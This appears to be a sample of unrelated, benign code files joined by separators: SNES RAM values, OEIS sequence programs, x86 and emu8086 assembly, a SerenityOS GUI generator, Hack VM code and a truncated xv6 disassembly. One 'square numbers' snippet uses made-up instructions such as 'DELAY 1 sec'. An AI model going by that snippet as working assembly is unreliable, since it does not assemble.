dl $7E0913 : db $02 : dw $A401 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0548 ; Health
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $019D ; Samus X
dl $7E0AFA : db $02 : dw $005B ; Samus Y
dl $7ED90C : db $02 : dw $FF00 ; Events, Items, Doors
dw #$FFFF
.after
|
; A161560: a(n) = floor(A000069(n)/2-1/2).
; 0,0,1,3,3,5,6,6,7,9,10,10,12,12,13,15,15,17,18,18,20,20,21,23,24,24,25,27,27,29,30,30,31,33,34,34,36,36,37,39,40,40,41,43,43,45,46,46,48,48,49,51,51,53,54,54,55,57,58,58,60,60,61,63,63,65,66,66,68,68,69,71,72
sub $2,$0
mov $3,$0
lpb $0
div $0,2
add $3,$0
lpe
add $2,1
mov $0,$2
add $0,1
add $3,81
add $1,$3
mod $1,2
sub $1,$0
add $1,1
|
global asm_get_cpu_info
; The cpu_info structure looks like this:
; uint8*13 - vendor id
; total size of structure is 13 bytes
;
; Retrieves details about the processor using the CPUID instruction.
asm_get_cpu_info:
pushad
mov ebp, dword [ebp+8] ; Store memory address in EBP, as EDX will be overwritten by CPUID
mov eax, 0
cpuid
mov [ebp], ebx
mov [ebp+4], edx
mov [ebp+8], ecx
popad
ret
|
; A198797: 4*6^n-1.
; 3,23,143,863,5183,31103,186623,1119743,6718463,40310783,241864703,1451188223,8707129343,52242776063,313456656383,1880739938303,11284439629823,67706637778943,406239826673663,2437438960041983,14624633760251903
mov $1,6
pow $1,$0
mul $1,4
sub $1,1
|
/*
* Copyright (c) 2018-2020, Andreas Kling <kling@serenityos.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <AK/JsonArray.h>
#include <AK/JsonObject.h>
#include <AK/JsonValue.h>
#include <AK/LogStream.h>
#include <AK/StringBuilder.h>
#include <LibCore/File.h>
#include <stdio.h>
int main(int argc, char** argv)
{
if (argc != 2) {
printf("usage: %s <form-file>\n", argv[0]);
return 0;
}
auto file = Core::File::construct(argv[1]);
if (!file->open(Core::IODevice::ReadOnly)) {
fprintf(stderr, "Error: Cannot open %s: %s\n", argv[1], file->error_string());
return 1;
}
auto file_contents = file->read_all();
auto json = JsonValue::from_string(file_contents);
if (!json.is_object()) {
fprintf(stderr, "Malformed input\n");
return 1;
}
auto name = json.as_object().get("name").to_string();
auto widgets = json.as_object().get("widgets");
if (!widgets.is_array()) {
fprintf(stderr, "Malformed input\n");
return 1;
}
dbg() << "#pragma once";
widgets.as_array().for_each([&](auto& value) {
const JsonObject& widget_object = value.as_object();
auto class_name = widget_object.get("class").to_string();
StringBuilder builder;
auto parts = class_name.split(':');
builder.append(parts.last());
dbg() << "#include <LibGUI/" << builder.to_string() << ".h>";
});
dbg() << "struct UI_" << name << " {";
dbg() << " RefPtr<GUI::Widget> main_widget;";
widgets.as_array().for_each([&](auto& value) {
ASSERT(value.is_object());
const JsonObject& widget_object = value.as_object();
auto name = widget_object.get("name").to_string();
auto class_name = widget_object.get("class").to_string();
dbg() << " RefPtr<" << class_name << "> " << name << ";";
});
dbg() << " UI_" << name << "();";
dbg() << "};";
dbg() << "UI_" << name << "::UI_" << name << "()";
dbg() << "{";
dbg() << " main_widget = GUI::Widget::construct();";
dbg() << " main_widget->set_fill_with_background_color(true);";
widgets.as_array().for_each([&](auto& value) {
ASSERT(value.is_object());
const JsonObject& widget_object = value.as_object();
auto name = widget_object.get("name").to_string();
auto class_name = widget_object.get("class").to_string();
dbg() << " " << name << " = main_widget->add<" << class_name << ">();";
widget_object.for_each_member([&](auto& property_name, const JsonValue& property_value) {
if (property_name == "class")
return;
String value;
if (property_value.is_null())
value = "{}";
else
value = property_value.serialized<StringBuilder>();
dbg() << " " << name << "->set_" << property_name << "(" << value << ");";
});
dbg() << "";
});
dbg() << "}";
return 0;
}
|
; A292465: a(n) = n*F(n)*F(n+1), where F = A000045.
; 0,1,4,18,60,200,624,1911,5712,16830,48950,140976,402624,1141933,3219580,9031050,25219824,70153016,194466672,537404835,1480993800,4071156726,11165970794,30561658848,83490220800,227687745625,619938027124,1685442626946,4575973716132,12407913817640,33604489762800,90910286252751,245683839315264,663308911870638,1789188466509470,4821925518118800
mov $1,$0
cal $0,120718 ; Expansion of 3*x/(1 - 2*x^2 - 2*x + x^3).
mul $1,$0
div $1,3
|
//Push constant
@111
D=A
@SP
A=M
M=D
@SP
M=M+1
//Push constant
@333
D=A
@SP
A=M
M=D
@SP
M=M+1
//Push constant
@888
D=A
@SP
A=M
M=D
@SP
M=M+1
//Pop Static
@SP
M=M-1
@SP
A=M
D=M
@Learn.8
M=D
//Pop Static
@SP
M=M-1
@SP
A=M
D=M
@Learn.3
M=D
//Pop Static
@SP
M=M-1
@SP
A=M
D=M
@Learn.1
M=D
//Push Static
@Learn.3
D=M
@SP
A=M
M=D
@SP
M=M+1
//Push Static
@Learn.1
D=M
@SP
A=M
M=D
@SP
M=M+1
//Sub Command
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
//Push Static
@Learn.8
D=M
@SP
A=M
M=D
@SP
M=M+1
//Add Command
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=D+A
@SP
A=M
M=D
@SP
M=M+1 |
name "vga"
; this program draws a tiny rectangle in vga mode.
org 100h
jmp code
; dimensions of the rectangle:
; width: 10 pixels
; height: 5 pixels
w equ 10
h equ 5
; set video mode 13h - 320x200
code: mov ah, 0
mov al, 13h
int 10h
; draw upper line:
mov cx, 100+w ; column
mov dx, 20 ; row
mov al, 15 ; white
u1: mov ah, 0ch ; put pixel
int 10h
dec cx
cmp cx, 100
jae u1
; draw bottom line:
mov cx, 100+w ; column
mov dx, 20+h ; row
mov al, 15 ; white
u2: mov ah, 0ch ; put pixel
int 10h
dec cx
cmp cx, 100
ja u2
; draw left line:
mov cx, 100 ; column
mov dx, 20+h ; row
mov al, 15 ; white
u3: mov ah, 0ch ; put pixel
int 10h
dec dx
cmp dx, 20
ja u3
; draw right line:
mov cx, 100+w ; column
mov dx, 20+h ; row
mov al, 15 ; white
u4: mov ah, 0ch ; put pixel
int 10h
dec dx
cmp dx, 20
ja u4
; pause the screen for dos compatibility:
;wait for keypress
mov ah,00
int 16h
; return to text mode:
mov ah,00
mov al,03 ;text mode 3
int 10h
ret
|
/**
Square numbers
by Johnathan Machler
**/
START:
LDI r16,$0
LDI r17,$0
LOOP:
INC r17; adds 1 to register 17
JPO SERIES; goes to subroutine odd if previous op had odd bit
JMP LOOP; IF not odd go through loop again
SERIES:
ADC r16,r17 ; add and carry r16 with r17 store in r16
OUT r16 ; ? display contents of register
DELAY 1 sec; need the exact code for this
JMP LOOP; return to the beginning of the loop after 1 sec
|
_cat: file format elf32-i386
Disassembly of section .text:
00000000 <cat>:
char buf[512];
void
cat(int fd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 28 sub $0x28,%esp
int n;
while((n = read(fd, buf, sizeof(buf))) > 0)
6: eb 1b jmp 23 <cat+0x23>
write(1, buf, n);
8: 8b 45 f4 mov -0xc(%ebp),%eax
b: 89 44 24 08 mov %eax,0x8(%esp)
f: c7 44 24 04 c0 0b 00 movl $0xbc0,0x4(%esp)
16: 00
17: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1e: e8 82 03 00 00 call 3a5 <write>
void
cat(int fd)
{
int n;
while((n = read(fd, buf, sizeof(buf))) > 0)
23: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
2a: 00
2b: c7 44 24 04 c0 0b 00 movl $0xbc0,0x4(%esp)
32: 00
33: 8b 45 08 mov 0x8(%ebp),%eax
36: 89 04 24 mov %eax,(%esp)
39: e8 5f 03 00 00 call 39d <read>
3e: 89 45 f4 mov %eax,-0xc(%ebp)
41: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
45: 7f c1 jg 8 <cat+0x8>
write(1, buf, n);
if(n < 0){
47: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4b: 79 19 jns 66 <cat+0x66>
printf(1, "cat: read error\n");
4d: c7 44 24 04 f1 08 00 movl $0x8f1,0x4(%esp)
54: 00
55: c7 04 24 01 00 00 00 movl $0x1,(%esp)
5c: e8 c4 04 00 00 call 525 <printf>
exit();
61: e8 1f 03 00 00 call 385 <exit>
}
}
66: c9 leave
67: c3 ret
00000068 <main>:
int
main(int argc, char *argv[])
{
68: 55 push %ebp
69: 89 e5 mov %esp,%ebp
6b: 83 e4 f0 and $0xfffffff0,%esp
6e: 83 ec 20 sub $0x20,%esp
int fd, i;
if(argc <= 1){
71: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
75: 7f 11 jg 88 <main+0x20>
cat(0);
77: c7 04 24 00 00 00 00 movl $0x0,(%esp)
7e: e8 7d ff ff ff call 0 <cat>
exit();
83: e8 fd 02 00 00 call 385 <exit>
}
for(i = 1; i < argc; i++){
88: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp)
8f: 00
90: eb 79 jmp 10b <main+0xa3>
if((fd = open(argv[i], 0)) < 0){
92: 8b 44 24 1c mov 0x1c(%esp),%eax
96: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
9d: 8b 45 0c mov 0xc(%ebp),%eax
a0: 01 d0 add %edx,%eax
a2: 8b 00 mov (%eax),%eax
a4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
ab: 00
ac: 89 04 24 mov %eax,(%esp)
af: e8 11 03 00 00 call 3c5 <open>
b4: 89 44 24 18 mov %eax,0x18(%esp)
b8: 83 7c 24 18 00 cmpl $0x0,0x18(%esp)
bd: 79 2f jns ee <main+0x86>
printf(1, "cat: cannot open %s\n", argv[i]);
bf: 8b 44 24 1c mov 0x1c(%esp),%eax
c3: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
ca: 8b 45 0c mov 0xc(%ebp),%eax
cd: 01 d0 add %edx,%eax
cf: 8b 00 mov (%eax),%eax
d1: 89 44 24 08 mov %eax,0x8(%esp)
d5: c7 44 24 04 02 09 00 movl $0x902,0x4(%esp)
dc: 00
dd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e4: e8 3c 04 00 00 call 525 <printf>
exit();
e9: e8 97 02 00 00 call 385 <exit>
}
cat(fd);
ee: 8b 44 24 18 mov 0x18(%esp),%eax
f2: 89 04 24 mov %eax,(%esp)
f5: e8 06 ff ff ff call 0 <cat>
close(fd);
fa: 8b 44 24 18 mov 0x18(%esp),%eax
fe: 89 04 24 mov %eax,(%esp)
101: e8 a7 02 00 00 call 3ad <close>
if(argc <= 1){
cat(0);
exit();
}
for(i = 1; i < argc; i++){
106: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
10b: 8b 44 24 1c mov 0x1c(%esp),%eax
10f: 3b 45 08 cmp 0x8(%ebp),%eax
112: 0f 8c 7a ff ff ff jl 92 <main+0x2a>
exit();
}
cat(fd);
close(fd);
}
exit();
118: e8 68 02 00 00 call 385 <exit>
0000011d <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
11d: 55 push %ebp
11e: 89 e5 mov %esp,%ebp
120: 57 push %edi
121: 53 push %ebx
asm volatile("cld; rep stosb" :
122: 8b 4d 08 mov 0x8(%ebp),%ecx
125: 8b 55 10 mov 0x10(%ebp),%edx
128: 8b 45 0c mov 0xc(%ebp),%eax
12b: 89 cb mov %ecx,%ebx
12d: 89 df mov %ebx,%edi
12f: 89 d1 mov %edx,%ecx
131: fc cld
132: f3 aa rep stos %al,%es:(%edi)
134: 89 ca mov %ecx,%edx
136: 89 fb mov %edi,%ebx
138: 89 5d 08 mov %ebx,0x8(%ebp)
13b: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
13e: 5b pop %ebx
13f: 5f pop %edi
140: 5d pop %ebp
141: c3 ret
00000142 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
142: 55 push %ebp
143: 89 e5 mov %esp,%ebp
145: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
148: 8b 45 08 mov 0x8(%ebp),%eax
14b: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
14e: 90 nop
14f: 8b 45 08 mov 0x8(%ebp),%eax
152: 8d 50 01 lea 0x1(%eax),%edx
155: 89 55 08 mov %edx,0x8(%ebp)
158: 8b 55 0c mov 0xc(%ebp),%edx
15b: 8d 4a 01 lea 0x1(%edx),%ecx
15e: 89 4d 0c mov %ecx,0xc(%ebp)
161: 0f b6 12 movzbl (%edx),%edx
164: 88 10 mov %dl,(%eax)
166: 0f b6 00 movzbl (%eax),%eax
169: 84 c0 test %al,%al
16b: 75 e2 jne 14f <strcpy+0xd>
;
return os;
16d: 8b 45 fc mov -0x4(%ebp),%eax
}
170: c9 leave
171: c3 ret
00000172 <strcmp>:
int
strcmp(const char *p, const char *q)
{
172: 55 push %ebp
173: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
175: eb 08 jmp 17f <strcmp+0xd>
p++, q++;
177: 83 45 08 01 addl $0x1,0x8(%ebp)
17b: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
17f: 8b 45 08 mov 0x8(%ebp),%eax
182: 0f b6 00 movzbl (%eax),%eax
185: 84 c0 test %al,%al
187: 74 10 je 199 <strcmp+0x27>
189: 8b 45 08 mov 0x8(%ebp),%eax
18c: 0f b6 10 movzbl (%eax),%edx
18f: 8b 45 0c mov 0xc(%ebp),%eax
192: 0f b6 00 movzbl (%eax),%eax
195: 38 c2 cmp %al,%dl
197: 74 de je 177 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
199: 8b 45 08 mov 0x8(%ebp),%eax
19c: 0f b6 00 movzbl (%eax),%eax
19f: 0f b6 d0 movzbl %al,%edx
1a2: 8b 45 0c mov 0xc(%ebp),%eax
1a5: 0f b6 00 movzbl (%eax),%eax
1a8: 0f b6 c0 movzbl %al,%eax
1ab: 29 c2 sub %eax,%edx
1ad: 89 d0 mov %edx,%eax
}
1af: 5d pop %ebp
1b0: c3 ret
000001b1 <strlen>:
uint
strlen(char *s)
{
1b1: 55 push %ebp
1b2: 89 e5 mov %esp,%ebp
1b4: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1b7: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1be: eb 04 jmp 1c4 <strlen+0x13>
1c0: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1c4: 8b 55 fc mov -0x4(%ebp),%edx
1c7: 8b 45 08 mov 0x8(%ebp),%eax
1ca: 01 d0 add %edx,%eax
1cc: 0f b6 00 movzbl (%eax),%eax
1cf: 84 c0 test %al,%al
1d1: 75 ed jne 1c0 <strlen+0xf>
;
return n;
1d3: 8b 45 fc mov -0x4(%ebp),%eax
}
1d6: c9 leave
1d7: c3 ret
000001d8 <memset>:
void*
memset(void *dst, int c, uint n)
{
1d8: 55 push %ebp
1d9: 89 e5 mov %esp,%ebp
1db: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
1de: 8b 45 10 mov 0x10(%ebp),%eax
1e1: 89 44 24 08 mov %eax,0x8(%esp)
1e5: 8b 45 0c mov 0xc(%ebp),%eax
1e8: 89 44 24 04 mov %eax,0x4(%esp)
1ec: 8b 45 08 mov 0x8(%ebp),%eax
1ef: 89 04 24 mov %eax,(%esp)
1f2: e8 26 ff ff ff call 11d <stosb>
return dst;
1f7: 8b 45 08 mov 0x8(%ebp),%eax
}
1fa: c9 leave
1fb: c3 ret
000001fc <strchr>:
char*
strchr(const char *s, char c)
{
1fc: 55 push %ebp
1fd: 89 e5 mov %esp,%ebp
1ff: 83 ec 04 sub $0x4,%esp
202: 8b 45 0c mov 0xc(%ebp),%eax
205: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
208: eb 14 jmp 21e <strchr+0x22>
if(*s == c)
20a: 8b 45 08 mov 0x8(%ebp),%eax
20d: 0f b6 00 movzbl (%eax),%eax
210: 3a 45 fc cmp -0x4(%ebp),%al
213: 75 05 jne 21a <strchr+0x1e>
return (char*)s;
215: 8b 45 08 mov 0x8(%ebp),%eax
218: eb 13 jmp 22d <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
21a: 83 45 08 01 addl $0x1,0x8(%ebp)
21e: 8b 45 08 mov 0x8(%ebp),%eax
221: 0f b6 00 movzbl (%eax),%eax
224: 84 c0 test %al,%al
226: 75 e2 jne 20a <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
228: b8 00 00 00 00 mov $0x0,%eax
}
22d: c9 leave
22e: c3 ret
0000022f <gets>:
char*
gets(char *buf, int max)
{
22f: 55 push %ebp
230: 89 e5 mov %esp,%ebp
232: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
235: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
23c: eb 4c jmp 28a <gets+0x5b>
cc = read(0, &c, 1);
23e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
245: 00
246: 8d 45 ef lea -0x11(%ebp),%eax
249: 89 44 24 04 mov %eax,0x4(%esp)
24d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
254: e8 44 01 00 00 call 39d <read>
259: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
25c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
260: 7f 02 jg 264 <gets+0x35>
break;
262: eb 31 jmp 295 <gets+0x66>
buf[i++] = c;
264: 8b 45 f4 mov -0xc(%ebp),%eax
267: 8d 50 01 lea 0x1(%eax),%edx
26a: 89 55 f4 mov %edx,-0xc(%ebp)
26d: 89 c2 mov %eax,%edx
26f: 8b 45 08 mov 0x8(%ebp),%eax
272: 01 c2 add %eax,%edx
274: 0f b6 45 ef movzbl -0x11(%ebp),%eax
278: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
27a: 0f b6 45 ef movzbl -0x11(%ebp),%eax
27e: 3c 0a cmp $0xa,%al
280: 74 13 je 295 <gets+0x66>
282: 0f b6 45 ef movzbl -0x11(%ebp),%eax
286: 3c 0d cmp $0xd,%al
288: 74 0b je 295 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
28a: 8b 45 f4 mov -0xc(%ebp),%eax
28d: 83 c0 01 add $0x1,%eax
290: 3b 45 0c cmp 0xc(%ebp),%eax
293: 7c a9 jl 23e <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
295: 8b 55 f4 mov -0xc(%ebp),%edx
298: 8b 45 08 mov 0x8(%ebp),%eax
29b: 01 d0 add %edx,%eax
29d: c6 00 00 movb $0x0,(%eax)
return buf;
2a0: 8b 45 08 mov 0x8(%ebp),%eax
}
2a3: c9 leave
2a4: c3 ret
000002a5 <stat>:
int
stat(char *n, struct stat *st)
{
2a5: 55 push %ebp
2a6: 89 e5 mov %esp,%ebp
2a8: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
2ab: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2b2: 00
2b3: 8b 45 08 mov 0x8(%ebp),%eax
2b6: 89 04 24 mov %eax,(%esp)
2b9: e8 07 01 00 00 call 3c5 <open>
2be: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
2c1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2c5: 79 07 jns 2ce <stat+0x29>
return -1;
2c7: b8 ff ff ff ff mov $0xffffffff,%eax
2cc: eb 23 jmp 2f1 <stat+0x4c>
r = fstat(fd, st);
2ce: 8b 45 0c mov 0xc(%ebp),%eax
2d1: 89 44 24 04 mov %eax,0x4(%esp)
2d5: 8b 45 f4 mov -0xc(%ebp),%eax
2d8: 89 04 24 mov %eax,(%esp)
2db: e8 fd 00 00 00 call 3dd <fstat>
2e0: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
2e3: 8b 45 f4 mov -0xc(%ebp),%eax
2e6: 89 04 24 mov %eax,(%esp)
2e9: e8 bf 00 00 00 call 3ad <close>
return r;
2ee: 8b 45 f0 mov -0x10(%ebp),%eax
}
2f1: c9 leave
2f2: c3 ret
000002f3 <atoi>:
int
atoi(const char *s)
{
2f3: 55 push %ebp
2f4: 89 e5 mov %esp,%ebp
2f6: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
2f9: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
300: eb 25 jmp 327 <atoi+0x34>
n = n*10 + *s++ - '0';
302: 8b 55 fc mov -0x4(%ebp),%edx
305: 89 d0 mov %edx,%eax
307: c1 e0 02 shl $0x2,%eax
30a: 01 d0 add %edx,%eax
30c: 01 c0 add %eax,%eax
30e: 89 c1 mov %eax,%ecx
310: 8b 45 08 mov 0x8(%ebp),%eax
313: 8d 50 01 lea 0x1(%eax),%edx
316: 89 55 08 mov %edx,0x8(%ebp)
319: 0f b6 00 movzbl (%eax),%eax
31c: 0f be c0 movsbl %al,%eax
31f: 01 c8 add %ecx,%eax
321: 83 e8 30 sub $0x30,%eax
324: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
327: 8b 45 08 mov 0x8(%ebp),%eax
32a: 0f b6 00 movzbl (%eax),%eax
32d: 3c 2f cmp $0x2f,%al
32f: 7e 0a jle 33b <atoi+0x48>
331: 8b 45 08 mov 0x8(%ebp),%eax
334: 0f b6 00 movzbl (%eax),%eax
337: 3c 39 cmp $0x39,%al
339: 7e c7 jle 302 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
33b: 8b 45 fc mov -0x4(%ebp),%eax
}
33e: c9 leave
33f: c3 ret
00000340 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
340: 55 push %ebp
341: 89 e5 mov %esp,%ebp
343: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
346: 8b 45 08 mov 0x8(%ebp),%eax
349: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
34c: 8b 45 0c mov 0xc(%ebp),%eax
34f: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
352: eb 17 jmp 36b <memmove+0x2b>
*dst++ = *src++;
354: 8b 45 fc mov -0x4(%ebp),%eax
357: 8d 50 01 lea 0x1(%eax),%edx
35a: 89 55 fc mov %edx,-0x4(%ebp)
35d: 8b 55 f8 mov -0x8(%ebp),%edx
360: 8d 4a 01 lea 0x1(%edx),%ecx
363: 89 4d f8 mov %ecx,-0x8(%ebp)
366: 0f b6 12 movzbl (%edx),%edx
369: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
36b: 8b 45 10 mov 0x10(%ebp),%eax
36e: 8d 50 ff lea -0x1(%eax),%edx
371: 89 55 10 mov %edx,0x10(%ebp)
374: 85 c0 test %eax,%eax
376: 7f dc jg 354 <memmove+0x14>
*dst++ = *src++;
return vdst;
378: 8b 45 08 mov 0x8(%ebp),%eax
}
37b: c9 leave
37c: c3 ret
0000037d <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
37d: b8 01 00 00 00 mov $0x1,%eax
382: cd 40 int $0x40
384: c3 ret
00000385 <exit>:
SYSCALL(exit)
385: b8 02 00 00 00 mov $0x2,%eax
38a: cd 40 int $0x40
38c: c3 ret
0000038d <wait>:
SYSCALL(wait)
38d: b8 03 00 00 00 mov $0x3,%eax
392: cd 40 int $0x40
394: c3 ret
00000395 <pipe>:
SYSCALL(pipe)
395: b8 04 00 00 00 mov $0x4,%eax
39a: cd 40 int $0x40
39c: c3 ret
0000039d <read>:
SYSCALL(read)
39d: b8 05 00 00 00 mov $0x5,%eax
3a2: cd 40 int $0x40
3a4: c3 ret
000003a5 <write>:
SYSCALL(write)
3a5: b8 10 00 00 00 mov $0x10,%eax
3aa: cd 40 int $0x40
3ac: c3 ret
000003ad <close>:
SYSCALL(close)
3ad: b8 15 00 00 00 mov $0x15,%eax
3b2: cd 40 int $0x40
3b4: c3 ret
000003b5 <kill>:
SYSCALL(kill)
3b5: b8 06 00 00 00 mov $0x6,%eax
3ba: cd 40 int $0x40
3bc: c3 ret
000003bd <exec>:
SYSCALL(exec)
3bd: b8 07 00 00 00 mov $0x7,%eax
3c2: cd 40 int $0x40
3c4: c3 ret
000003c5 <open>:
SYSCALL(open)
3c5: b8 0f 00 00 00 mov $0xf,%eax
3ca: cd 40 int $0x40
3cc: c3 ret
000003cd <mknod>:
SYSCALL(mknod)
3cd: b8 11 00 00 00 mov $0x11,%eax
3d2: cd 40 int $0x40
3d4: c3 ret
000003d5 <unlink>:
SYSCALL(unlink)
3d5: b8 12 00 00 00 mov $0x12,%eax
3da: cd 40 int $0x40
3dc: c3 ret
000003dd <fstat>:
SYSCALL(fstat)
3dd: b8 08 00 00 00 mov $0x8,%eax
3e2: cd 40 int $0x40
3e4: c3 ret
000003e5 <link>:
SYSCALL(link)
3e5: b8 13 00 00 00 mov $0x13,%eax
3ea: cd 40 int $0x40
3ec: c3 ret
000003ed <mkdir>:
SYSCALL(mkdir)
3ed: b8 14 00 00 00 mov $0x14,%eax
3f2: cd 40 int $0x40
3f4: c3 ret
000003f5 <chdir>:
SYSCALL(chdir)
3f5: b8 09 00 00 00 mov $0x9,%eax
3fa: cd 40 int $0x40
3fc: c3 ret
000003fd <dup>:
SYSCALL(dup)
3fd: b8 0a 00 00 00 mov $0xa,%eax
402: cd 40 int $0x40
404: c3 ret
00000405 <getpid>:
SYSCALL(getpid)
405: b8 0b 00 00 00 mov $0xb,%eax
40a: cd 40 int $0x40
40c: c3 ret
0000040d <sbrk>:
SYSCALL(sbrk)
40d: b8 0c 00 00 00 mov $0xc,%eax
412: cd 40 int $0x40
414: c3 ret
00000415 <sleep>:
SYSCALL(sleep)
415: b8 0d 00 00 00 mov $0xd,%eax
41a: cd 40 int $0x40
41c: c3 ret
0000041d <uptime>:
SYSCALL(uptime)
41d: b8 0e 00 00 00 mov $0xe,%eax
422: cd 40 int $0x40
424: c3 ret
00000425 <sigset>:
SYSCALL(sigset)
425: b8 16 00 00 00 mov $0x16,%eax
42a: cd 40 int $0x40
42c: c3 ret
0000042d <sigsend>:
SYSCALL(sigsend)
42d: b8 17 00 00 00 mov $0x17,%eax
432: cd 40 int $0x40
434: c3 ret
00000435 <sigret>:
SYSCALL(sigret)
435: b8 18 00 00 00 mov $0x18,%eax
43a: cd 40 int $0x40
43c: c3 ret
0000043d <sigpause>:
SYSCALL(sigpause)
43d: b8 19 00 00 00 mov $0x19,%eax
442: cd 40 int $0x40
444: c3 ret
00000445 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
445: 55 push %ebp
446: 89 e5 mov %esp,%ebp
448: 83 ec 18 sub $0x18,%esp
44b: 8b 45 0c mov 0xc(%ebp),%eax
44e: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
451: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
458: 00
459: 8d 45 f4 lea -0xc(%ebp),%eax
45c: 89 44 24 04 mov %eax,0x4(%esp)
460: 8b 45 08 mov 0x8(%ebp),%eax
463: 89 04 24 mov %eax,(%esp)
466: e8 3a ff ff ff call 3a5 <write>
}
46b: c9 leave
46c: c3 ret
0000046d <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
46d: 55 push %ebp
46e: 89 e5 mov %esp,%ebp
470: 56 push %esi
471: 53 push %ebx
472: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
475: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
47c: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
480: 74 17 je 499 <printint+0x2c>
482: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
